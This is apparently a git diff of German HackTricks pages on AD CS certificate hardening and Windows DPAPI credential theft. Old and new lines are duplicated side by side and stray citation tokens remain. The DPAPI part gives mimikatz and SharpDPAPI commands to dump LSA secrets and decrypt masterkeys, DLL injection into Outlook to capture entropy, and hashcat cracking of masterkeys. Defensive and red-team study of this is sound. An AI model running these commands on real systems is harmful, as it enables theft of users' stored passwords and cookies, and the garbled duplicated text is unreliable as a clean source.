Microsoft führte einen dreiphasigen Rollout (Kompatibilität → Audit → Durchsetzung) ein, um die Kerberos-Zertifikatauthentifizierung von schwachen impliziten Zuordnungen wegzuführen. Ab dem **11. Februar 2025** wechseln Domänencontroller automatisch zu **Vollstreckung**, wenn der Registrierungswert `StrongCertificateBindingEnforcement` nicht gesetzt ist. Administratoren sollten:
1. Alle DCs & AD CS-Server patchen (Mai 2022 oder später).
2. Ereignis-ID 39/41 während der *Audit*-Phase auf schwache Zuordnungen überwachen.
3. Client-Auth-Zertifikate mit der neuen **SID-Erweiterung** neu ausstellen oder starke manuelle Zuordnungen vor Februar 2025 konfigurieren. citeturn2search0
3. Client-Auth-Zertifikate mit der neuen **SID-Erweiterung** neu ausstellen oder starke manuelle Zuordnungen vor Februar 2025 konfigurieren.
---
## Erkennung & Härtungsverbesserungen
## Erkennungs- & Härtungsverbesserungen
* **Defender for Identity AD CS-Sensor (2023-2024)** zeigt jetzt Statusbewertungen für ESC1-ESC8/ESC11 an und generiert Echtzeitwarnungen wie *“Zertifikatsausstellung für einen Nicht-DC”* (ESC8) und *“Zertifikatsanmeldung mit beliebigen Anwendungsrichtlinien verhindern”* (ESC15). Stellen Sie sicher, dass Sensoren auf allen AD CS-Servern bereitgestellt werden, um von diesen Erkennungen zu profitieren. citeturn5search0
* **Defender for Identity AD CS-Sensor (2023-2024)** zeigt jetzt Statusbewertungen für ESC1-ESC8/ESC11 an und generiert Echtzeitwarnungen wie *“Zertifikatsausstellung für einen Nicht-DC”* (ESC8) und *“Zertifikatsanmeldung mit beliebigen Anwendungsrichtlinien verhindern”* (ESC15). Stellen Sie sicher, dass Sensoren auf allen AD CS-Servern bereitgestellt werden, um von diesen Erkennungen zu profitieren.
* Deaktivieren oder eng einschränken die **“Supply in the request”**-Option in allen Vorlagen; bevorzugen Sie explizit definierte SAN/EKU-Werte.
* Entfernen Sie **Any Purpose** oder **No EKU** aus Vorlagen, es sei denn, es ist absolut erforderlich (behandelt ESC2-Szenarien).
* Erfordern Sie **Managergenehmigung** oder dedizierte Enrollment-Agent-Workflows für sensible Vorlagen (z. B. WebServer / CodeSigning).
* Beschränken Sie die Webanmeldung (`certsrv`) und CES/NDES-Endpunkte auf vertrauenswürdige Netzwerke oder hinter der Client-Zertifikatauthentifizierung.
* Beschränken Sie die Webanmeldung (`certsrv`) und CES/NDES-Endpunkte auf vertrauenswürdige Netzwerke oder hinter der Client-Zertifikatsauthentifizierung.
* Erzwingen Sie die RPC-Anmeldeverschlüsselung (`certutil setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`), um ESC11 zu mindern.
---

View File

@ -6,15 +6,15 @@
## Was ist DPAPI
Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die **symmetrische Verschlüsselung asymmetrischer privater Schlüssel** verwendet, wobei entweder Benutzer- oder Systemgeheimnisse als bedeutende Entropiequelle genutzt werden. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen ermöglicht, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder, bei der Systemverschlüsselung, den Authentifizierungsgeheimnissen der Domäne des Systems abgeleitet wird, wodurch die Notwendigkeit entfällt, dass Entwickler den Schutz des Verschlüsselungsschlüssels selbst verwalten müssen.
Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die **symmetrische Verschlüsselung asymmetrischer privater Schlüssel** verwendet, wobei entweder Benutzer- oder Systemgeheimnisse als bedeutende Entropiequelle dienen. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen ermöglicht, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder, bei der Systemverschlüsselung, den Authentifizierungsgeheimnissen der Domäne des Systems abgeleitet wird, wodurch die Notwendigkeit entfällt, dass Entwickler den Schutz des Verschlüsselungsschlüssels selbst verwalten.
Die gebräuchlichste Methode zur Verwendung von DPAPI erfolgt über die **`CryptProtectData` und `CryptUnprotectData`** Funktionen, die es Anwendungen ermöglichen, Daten sicher mit der Sitzung des Prozesses zu verschlüsseln und zu entschlüsseln, der derzeit angemeldet ist. Das bedeutet, dass die verschlüsselten Daten nur von demselben Benutzer oder System entschlüsselt werden können, das sie verschlüsselt hat.
Darüber hinaus akzeptieren diese Funktionen auch einen **`entropy` Parameter**, der ebenfalls während der Verschlüsselung und Entschlüsselung verwendet wird. Daher müssen Sie, um etwas zu entschlüsseln, das mit diesem Parameter verschlüsselt wurde, den gleichen Entropiewert angeben, der während der Verschlüsselung verwendet wurde.
Darüber hinaus akzeptieren diese Funktionen auch einen **`entropy` Parameter**, der ebenfalls während der Verschlüsselung und Entschlüsselung verwendet wird. Daher müssen Sie, um etwas zu entschlüsseln, das mit diesem Parameter verschlüsselt wurde, denselben Entropiewert angeben, der während der Verschlüsselung verwendet wurde.
### Benutzer-Schlüsselgenerierung
### Schlüsselgenerierung für Benutzer
Die DPAPI generiert einen einzigartigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer basierend auf deren Anmeldeinformationen. Dieser Schlüssel wird aus dem Passwort des Benutzers und anderen Faktoren abgeleitet, und der Algorithmus hängt vom Typ des Benutzers ab, endet aber in der Regel als SHA1. Zum Beispiel hängt es für Domänenbenutzer von dem HTLM-Hash des Benutzers ab.
Die DPAPI generiert einen einzigartigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer basierend auf deren Anmeldeinformationen. Dieser Schlüssel wird aus dem Passwort des Benutzers und anderen Faktoren abgeleitet, und der Algorithmus hängt vom Typ des Benutzers ab, endet aber als SHA1. Zum Beispiel hängt es für Domänenbenutzer von dem HTLM-Hash des Benutzers ab.
Dies ist besonders interessant, da ein Angreifer, der den Passwort-Hash des Benutzers erlangen kann, Folgendes tun kann:
@ -54,6 +54,7 @@ Beachten Sie, dass diese Schlüssel **kein Domänen-Backup haben**, sodass sie n
- **Mimikatz** kann darauf zugreifen, indem es LSA-Geheimnisse mit dem Befehl: `mimikatz lsadump::secrets` dumpet.
- Das Geheimnis wird in der Registrierung gespeichert, sodass ein Administrator **die DACL-Berechtigungen ändern könnte, um darauf zuzugreifen**. Der Registrierungspfad ist: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Geschützte Daten durch DPAPI
Zu den persönlichen Daten, die durch DPAPI geschützt sind, gehören:
@ -118,14 +119,14 @@ mimikatz vault::list
```
## Zugriff auf DPAPI-verschlüsselte Daten
### Finden Sie DPAPI-verschlüsselte Daten
### DPAPI-verschlüsselte Daten finden
Häufig geschützte **Dateien** von Benutzern befinden sich in:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Überprüfen Sie auch, ob Sie `\Roaming\` in den obigen Pfaden durch `\Local\` ersetzen.
- Überprüfen Sie auch, ob Sie `\Roaming\` in den obigen Pfaden in `\Local\` ändern.
Beispiele zur Enumeration:
```bash
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente zur Entschlüsselung des Masterkeys (beachten Sie, wie es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, oder `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben...):
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente zur Entschlüsselung des Masterkeys (beachten Sie, dass es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, oder `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -202,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente für die `credentials|vaults|rdg|keepass|triage|blob|ps`-Entschlüsselung (beachten Sie, dass es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben, `/unprotect`, um die Sitzung des aktuellen Benutzers zu verwenden...):
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente für die `credentials|vaults|rdg|keepass|triage|blob|ps`-Entschlüsselung (beachten Sie, wie es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben, `/unprotect`, um die Sitzung des aktuellen Benutzers zu verwenden...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -234,7 +235,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Einige Anwendungen übergeben einen zusätzlichen **Entropie**-Wert an `CryptProtectData`. Ohne diesen Wert kann der Blob nicht entschlüsselt werden, selbst wenn der richtige Masterkey bekannt ist. Das Erlangen der Entropie ist daher entscheidend, wenn Anmeldeinformationen, die auf diese Weise geschützt sind, ins Visier genommen werden (z. B. Microsoft Outlook, einige VPN-Clients).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine Benutzermodus-DLL, die die DPAPI-Funktionen im Zielprozess hookt und transparent jede optionale Entropie aufzeichnet, die bereitgestellt wird. Das Ausführen von EntropyCapture im **DLL-Injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` gibt eine Datei aus, die jeden Entropie-Puffer dem aufrufenden Prozess und Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine Benutzermodus-DLL, die die DPAPI-Funktionen im Zielprozess hookt und transparent jede optionale Entropie aufzeichnet, die bereitgestellt wird. Das Ausführen von EntropyCapture im **DLL-Injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` gibt eine Datei aus, die jeden Entropie-Puffer dem aufrufenden Prozess und Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +245,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft führte ein **context 3** masterkey-Format mit Windows 10 v1607 (2016) ein. `hashcat` v6.2.6 (Dezember 2023) fügte die Hash-Modi **22100** (DPAPI masterkey v1 context), **22101** (context 1) und **22102** (context 3) hinzu, die das GPU-beschleunigte Knacken von Benutzerpasswörtern direkt aus der masterkey-Datei ermöglichen. Angreifer können daher Wörterbuch- oder Brute-Force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren. citeturn8search1
Microsoft führte ein **context 3** masterkey-Format mit Windows 10 v1607 (2016) ein. `hashcat` v6.2.6 (Dezember 2023) fügte die Hash-Modi **22100** (DPAPI masterkey v1 context), **22101** (context 1) und **22102** (context 3) hinzu, die GPU-beschleunigtes Knacken von Benutzerpasswörtern direkt aus der masterkey-Datei ermöglichen. Angreifer können daher Wörterbuch- oder Brute-Force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren.
`DPAPISnoop` (2024) automatisiert den Prozess:
```bash
@ -252,7 +253,7 @@ Microsoft führte ein **context 3** masterkey-Format mit Windows 10 v1607 (2016)
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Das Tool kann auch Credential- und Vault-Blobs parsen, sie mit geknackten Schlüsseln entschlüsseln und Klartext-Passwörter exportieren.
Das Tool kann auch Credential- und Vault-Blobs analysieren, sie mit geknackten Schlüsseln entschlüsseln und Klartext-Passwörter exportieren.
### Zugriff auf Daten anderer Maschinen
@ -278,11 +279,11 @@ Mit der aus der LDAP-Computerliste extrahierten Liste können Sie jedes Subnetz
* Parallele Sammlung von Blobs von Hunderten von Hosts
* Parsing von **context 3** Masterkeys und automatische Hashcat-Cracking-Integration
* Unterstützung für Chrome "App-Bound" verschlüsselte Cookies (siehe nächsten Abschnitt)
* Ein neuer **`--snapshot`** Modus, um Endpunkte wiederholt abzufragen und neu erstellte Blobs zu differenzieren citeturn1search2
* Ein neuer **`--snapshot`** Modus, um wiederholt Endpunkte abzufragen und neu erstellte Blobs zu vergleichen
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für Masterkey-/Credential-/Vault-Dateien, der Hashcat/JtR-Formate ausgeben und optional das Cracking automatisch auslösen kann. Es unterstützt vollständig die Formate von Maschinen- und Benutzer-Masterkeys bis Windows 11 24H1. citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für Masterkey-/Credential-/Vault-Dateien, der Hashcat/JtR-Formate ausgeben und optional das Cracking automatisch auslösen kann. Es unterstützt vollständig die Formate von Maschinen- und Benutzer-Masterkeys bis Windows 11 24H1.
## Häufige Erkennungen
@ -296,19 +297,19 @@ Mit der aus der LDAP-Computerliste extrahierten Liste können Sie jedes Subnetz
---
### 2023-2025 Schwachstellen & Änderungen im Ökosystem
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang könnte ein Domänenmitglied dazu bringen, einen bösartigen DPAPI-Backup-Schlüssel abzurufen, was die Entschlüsselung von Benutzer-Masterkeys ermöglicht. Im November 2023 in einem kumulativen Update gepatcht Administratoren sollten sicherstellen, dass DCs und Arbeitsstationen vollständig gepatcht sind. citeturn4search0
* **Chrome 127 “App-Bound” Cookie-Verschlüsselung** (Juli 2024) ersetzte den veralteten DPAPI-Only-Schutz durch einen zusätzlichen Schlüssel, der im **Credential Manager** des Benutzers gespeichert ist. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI-Masterkey als auch den **GCM-umwickelten app-bound key**. SharpChrome v2.3 und DonPAPI 2.x können den zusätzlichen Schlüssel wiederherstellen, wenn sie im Benutzerkontext ausgeführt werden. citeturn0search0
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang könnte ein Domänenmitglied dazu bringen, einen bösartigen DPAPI-Backup-Schlüssel abzurufen, was die Entschlüsselung von Benutzer-Masterkeys ermöglicht. Im November 2023 in einem kumulativen Update gepatcht Administratoren sollten sicherstellen, dass DCs und Arbeitsstationen vollständig gepatcht sind.
* **Chrome 127 “App-Bound” Cookie-Verschlüsselung** (Juli 2024) ersetzte den veralteten DPAPI-Only-Schutz durch einen zusätzlichen Schlüssel, der im **Credential Manager** des Benutzers gespeichert ist. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI-Masterkey als auch den **GCM-umwickelten app-bound key**. SharpChrome v2.3 und DonPAPI 2.x können den zusätzlichen Schlüssel wiederherstellen, wenn sie im Benutzerkontext ausgeführt werden.
## Referenzen
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}